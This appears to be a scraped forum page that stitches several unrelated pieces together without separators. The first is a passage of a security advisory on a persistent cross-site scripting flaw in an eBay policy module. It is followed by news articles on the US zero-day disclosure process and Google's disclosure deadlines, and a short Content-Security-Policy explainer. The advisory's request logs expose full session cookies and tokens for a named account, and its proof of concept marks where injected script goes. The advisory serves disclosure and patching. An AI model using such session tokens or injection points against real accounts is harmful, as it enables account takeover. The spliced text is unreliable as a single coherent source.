nonsession=BAQAAAUSucEmyAAaAAJ0ACFUIa5MwMDAwMDAwMQC0AAFTJ0YjMAFkAANVCGuTIzhhADMACVUIa5MzNDEyOCxERVUAywACUyc/GzEwAJoAC1Mpyd0yMDE0Lmt1bnptbgBAAApVCGuTMjAxNC5rdW56bQAQAApVCGuTMjAxNC5rdW56bQDKACBcjTmTYzc3Y2YzZGYxNDQwYTM1ODZjMjQ0YWQ0ZmZmZmZlNGYA8wAiVQhrkyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEBTQAYVQhrkzUzMjczN2NhLjAuMS4yLjEzNi4wLjAuMgAEAApVCFpdMjAxNC5rdW56bQFMABhVCGuTNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAJwAOFUIa5NuWStzSFoyUHJCbWRqNndWblkrc0VaMlByQTJkajZBR2tvZW5DNWVMb1FxZGo2eDluWStzZVE9PX7IQgibAoX1mYyjT4uLQSg4TVkI; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa5MxMjI1NjM3OTA2LzA7u3yVKIuPORIyGkkPfr8OcQuzK7o*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa5M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjIkh3iWsd46p2pvujmnDykXMnpWKA**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=37628EA4B997D2976280801A071E51EE; ds2=] Connection[keep-alive] Response Header: Server[Apache-Coyote/1.1] rlogid[p4n%7Cceb%7Cehq%60%3C%3Dsm%7E0a54d.g%6047-144d1334a30-0x133] Set-Cookie[ds1=ats/1395074781098; Domain=.ebay.com; Path=/ ds2=; Domain=.ebay.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; Domain=.ebay.com; Path=/ dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^mpc/0%7C7753346723^pbf/%2340000000000081a88200000455086ba3^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; Domain=.ebay.com; Expires=Wed, 16-Mar-2016 18:00:03 GMT; Path=/ ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 18:00:03 GMT;Path=/; HttpOnly cssg=d0a5ae451440a428b382fe32fffffe84; Domain=.ebay.com; Path=/ s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**;Domain=.ebay.com;Path=/; HttpOnly nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; Domain=.ebay.com; Expires=Tue, 17-Mar-2015 18:00:03 GMT; Path=/ secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; Domain=.ebay.com; Path=/ lucky9=9393341; Domain=.ebay.com; Expires=Sat, 16-Mar-2019 18:00:03 GMT; Path=/] Cache-Control[private] Pragma[no-cache] Content-Type[text/plain] Content-Length[22] Date[Mon, 17 Mar 2014 18:00:03 GMT] Status: 200[OK] GET http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1&_=1395079046614 Load Flags[LOAD_BACKGROUND ] Gr???e des Inhalts[22] Mime Type[text/plain] Request Header: Host[my.ebay.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://my.ebay.com/ws/eBayISAPI.dll?MyEbay&CurrentPage=MyeBayPreferences&FClassic=true&ssPageName=STRK:ME:MAPRX] Cookie[ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^mpc/0%7C7753346723^pbf/%2340000000000081a88200000455086ba3^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**; nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=37628EA4B997D2976280801A071E51EE] Connection[keep-alive] Response Header: Server[Apache-Coyote/1.1] rlogid[p4n%7Cceb%7Cehq%60%3C%3Dsm%7E0a54d.32%3Ef-144d1334c9e-0x132] Set-Cookie[ds1=ats/1395074781098; Domain=.ebay.com; Path=/ ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; Domain=.ebay.com; Path=/ dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^pbf/%2340000000000081a88200000455086ba3^mpc/0%7C7753346723^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; Domain=.ebay.com; Expires=Wed, 16-Mar-2016 18:00:03 GMT; Path=/ ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 18:00:03 GMT;Path=/; HttpOnly cssg=d0a5ae451440a428b382fe32fffffe84; Domain=.ebay.com; Path=/ s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**;Domain=.ebay.com;Path=/; HttpOnly nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; Domain=.ebay.com; Expires=Tue, 17-Mar-2015 18:00:03 GMT; Path=/ secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; Domain=.ebay.com; Path=/ lucky9=9393341; Domain=.ebay.com; Expires=Sat, 16-Mar-2019 18:00:03 GMT; Path=/] Cache-Control[private] Pragma[no-cache] Content-Type[text/plain] Content-Length[22] Date[Mon, 17 Mar 2014 18:00:03 GMT] PoC: Activity log: Return Policy 1 [x] <div> <h2 class="act-title">Activity log: <span id="policy_name">Return Policy 1 "><[PERSISTENT INJECTED SCRIPT CODES!]);"></span></h2> <div id="activityLogContent" class="act-cnt"> <table cellpadding="0" cellspacing="0"> <thead><tr> <th class="first">Date/Time</th> <th class="second">Action</th> <th class="third">Description</th> <th class="fourth">Report</th> </tr></thead></table> Note: After the exploitation the active log serivce is also compromised. --- PoC Session Logs [GET] --- Status: 200[OK] GET http://www.bizpolicy.ebay.com/businesspolicy/x[PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_NORMAL] Gr???e des Inhalts[1201] Mime Type[text/html] Request Header: Host[www.bizpolicy.ebay.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1] Cookie[ebay=%5Epsi%3DASTJiAAE*%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53273c55%5E; dp1=ba1p/053289001^bl/DE56e9a581^kms/in56e9a581^reg/%5EflagReg%3D1%5E56e9a581^pcid/159931376355087201^mpc/0%7C7753346d81^pbf/%2340000000000081a88200000455087201^tzo/-3c53274c91^exc/0%3A0%3A0%3A0534ecb81^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55087201^u1f/Benjamin55087201^idm/153274c6b^; s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMokAEwAWUAAlMokAEjMgAGAAFTKJABMACoAAFTKHhdMQFKABhTKJABNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMokAExMjI1NjM3OTA2AO4AflMokAExBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiQAXRlc3RDb29raWUA9AAiUyiQASQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiQAWQwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnP60xMzk1MDc5MzUwOjAAPQAKUyiQATIwMTQua3Vuem3M/bEjO3QgStCZxGHoMG4FWaj2Rg**; nonsession=BAQAAAUSucEmyAAaAAEAAClUIcgEyMDE0Lmt1bnptAWQAA1UIcgEjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI1AAWM3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnRYkyMQFMABhVCHIBNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIcgE1MzI3M2RkMi4wLjEuMi4xMzYuMC4wLjIAEAAKVQhyATIwMTQua3Vuem0AMwAJVQhyATM0MTI4LERFVQDzACJVCHIBJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhyAW5ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIcgEwMDAwMDAwMYEG3noCCpfEtIJDQA4W2mCUvROF; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55087201^cguid/c77cfce61440a56b23d61f96fe2e024155087201^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIcgExMjI1NjM3OTA2LzA7Z/0uwdxIwLmpExj/Whb9VGXz2oM*; secses=BAQAAAUSucEmyAAaAAUsAGFUIcgE1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJdgCSPs+1ulBCbABPTM3Q2B4zn6g**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=D0F0865539CABCE246EB953E8860B953; ds2=asotr/b7qeZzzzzzzz^sotr/b7qeZzzzzzzz^] Connection[keep-alive] Response Header: rlogid[t6al%7Cwliodz%3F%3Cwk%7D1e37e*%3B27c-144d14de1b3-0x96] Content-Type[text/html;charset=utf-8] Content-Length[1201] Date[Mon, 17 Mar 2014 18:29:05 GMT] Server[eBay Server] Reference(s): http://www.ebay.com/businesspolicy/ http://www.bizpolicy.ebay.com/businesspolicy/return http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName= http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileId=52844186015&pageNumber=1&source=manage http://www.bizpolicy.ebay.com/businesspolicy/manage?pageNumber=1&totalPages=1&context={%22status%22%3A%22success_edit_return%22} http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage http://www.bizpolicy.ebay.com/businesspolicy/ http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1 Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure encode and parse of the vulnerable policy name item list and activity log name list. Restrict the input field for special character and disallow wrong inputs by usage of a secure exception-handling to prevent exections. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the policy name & activity-log module is estimated as medium. (CVSS 4.0) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright Š 2015 | Vulnerability Laboratory - [Evolution Security GmbH]â? -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source: http://packetstorm.wowhacker.com/1504-exploits/VL-1228.txt

AROUND THE SAME time the US and Israel were already developing and unleashing Stuxnet on computers in Iran, using five zero-day exploits to get the digital weapon onto machines there, the government realized it needed a policy for how it should handle zero-day vulnerabilities, according to a new document obtained by the Electronic Frontier Foundation. The document, found among a handful of heavily redacted pages released after the civil liberties group sued the Office of the Director of National Intelligence to obtain them, sheds light on the backstory behind the development of the government’s zero-day policy and offers some insight into the motivations for establishing it. What the documents don’t do, however, is provide support for the government’s assertions that it discloses the “vast majority” of zero-day vulnerabilities it discovers instead of keeping them secret and exploiting them. “The level of transparency we have now is not enough,” says Andrew Crocker a legal fellow at EFF. “It doesn’t answer a lot of questions about how often the intelligence community is disclosing, whether they’re really following this process, and who is involved in making these decisions in the executive branch. More transparency is needed.” The timeframe around the development of the policy does make clear, however, that the government was deploying zero-days to attack systems long before it had established a formal policy for their use. Task Force Launched in 2008 Titled “Vulnerability Equities Process Highlights,” (.pdf) the document appears to have been created July 8, 2010, based on a date in its file name. Vulnerability equities process in the title refers to the process whereby the government assesses zero-day software security holes that it either finds or buys from contractors in order to determine whether they should be disclosed to the software vendor to be patched or kept secret so intelligence agencies can use them to hack into systems as they please. The government’s use of zero-day vulnerabilities is controversial, not least because when it withholds information about software vulnerabilities to exploit them in targeted systems, it leaves every other system that use the same software also vulnerable to being hacked, including U.S. government computers and critical infrastructure systems. According to the document, the equities process grew out of a task force the government formed in 2008 to develop a plan for improving its ability “to use the full spectrum of offensive capabilities to better defend U.S. information systems.” Source

Google’s unwavering vulnerability disclosure deadlines are the latest chapter in a decades-long debate about how to best inform affected users that there’s a security problem with their software. Since the start of the year, Google’s 90-day clock has most notably ticked down to zero on a trio of flaws in Microsoft products and two others in Apple’s OS X. And upon doing so, Google’s researchers shared with the world technical details and proof of concept code for each vulnerability. Proponents of Google’s policy will argue that 90 days is plenty of time for a vendor to address a “responsibly” disclosed vulnerability. Opponents argue that a zero day is a zero day, and in such cases, a greater cut of attackers has vital information for exploit building when the details are public. Google, being the giant that it is, threw more gasoline on the controversial fire when, with one of the Microsoft flaws, it refused to sit on the details reportedly for two more days until Microsoft said it would be ready with a patch. Today, Google announced several adjustments to its disclosure policy, one of them being a 14-day grace period afforded to vendors that inform Google before the expiration of the 90-day deadline that a patch is scheduled for release within the 14-day extension. “Public disclosure of an unpatched issue now only occurs if a deadline will be significantly missed (2 weeks+),” the Project Zero team said in its announcement. “As always, we reserve the right to bring deadlines forwards or backwards based on extreme circumstances. We remain committed to treating all vendors strictly equally,” the researchers wrote. “Google expects to be held to the same standard; in fact, Project Zero has bugs in the pipeline for Google products (Chrome and Android) and these are subject to the same deadline policy.” Google also announced that the first public mention of a vulnerability needs to include a CVE identifier and that Google will obtain a pre-assigned one for vulnerabilities that go past deadline. It also said that if a 90-day deadline expires on a weekend or a U.S. public holiday, the deadline will be extended to the next working day. “Putting everything together, we believe the policy updates are still strongly in line with our desire to improve industry response times to security bugs, but will result in softer landings for bugs marginally over deadline,” Google said. “Finally, we’d like to call on all researchers to adopt disclosure deadlines in some form, and feel free to use our policy verbatim if you find our data and reasoning compelling.” This should make some major vendors breathe a little easier. Microsoft, for its part, said that it disagrees with arbitrary deadlines because of the uniqueness of vulnerabilities and variables introduced during patch development and testing time. “We prioritize security updates based on the probability and impact to customers,” said Chris Betz, head of the Microsoft Security Response Center. “When finders publically disclose vulnerability information with exploit details, they are increasing the potential for attack for millions of customers.” Google isn’t the only major technology company with a disclosure deadline. HP’s Zero Day Initiative, one of the first vulnerability programs, has a 120-day deadline, while CERT at the Software Engineering Institute at Carnegie Mellon University, a DHS-sponsored organization, has a 45-day deadline. Deadlines ensure that vendors don’t sit on vulnerabilities for months, or years in some cases. “The idea of disclosure deadlines is an old one and in practice in a lot of organizations,” said Katie Moussouris, chief policy officer at HackerOne. “The idea behind it is that people are protected and risk is minimized by limiting the window of exposure caused by an unpatched vulnerability.” Google, meanwhile, made its case that its disclosure policies are working, with vulnerabilities patched consistently and quicker by most of the affected vendors. It says, for example, that Adobe has patched 37 vulnerabilities reported by Google inside of the 90-day deadline; 154 Project Zero vulnerabilities overall (85 percent) were fixed inside of 90 days. Sursa

CSP Is Awesome Content Security Policy Header Generator What is Content-Security-Policy? A mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS) Oh, and it’s awesome. So why the different headers? Since the spec is still a draft. Firefox is using X-Content-Security-Policy and Webkit (Chrome, Safari) are using X-WebKit-CSP. Once the spec is locked down they’ll move to a canonical header. What does it look like? Here are some examples borrowed directly from the Working Draft 1.0 document Example 1: A server wishes to load resources only form its own origin: Content-Security-Policy: default-src 'self' Example 2: An auction site wishes to load images from any URI, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript: Content-Security-Policy: default-src 'self'; img-src *; object-src media1.example.com media2.example.com *.cdn.example.com; script-src trustedscripts.example.com Example 3: Online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests: Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval' More information https://rstforums.com/forum/69690-user-interface-security-directives-content-security-policy.rst Content Security Policy Header Generator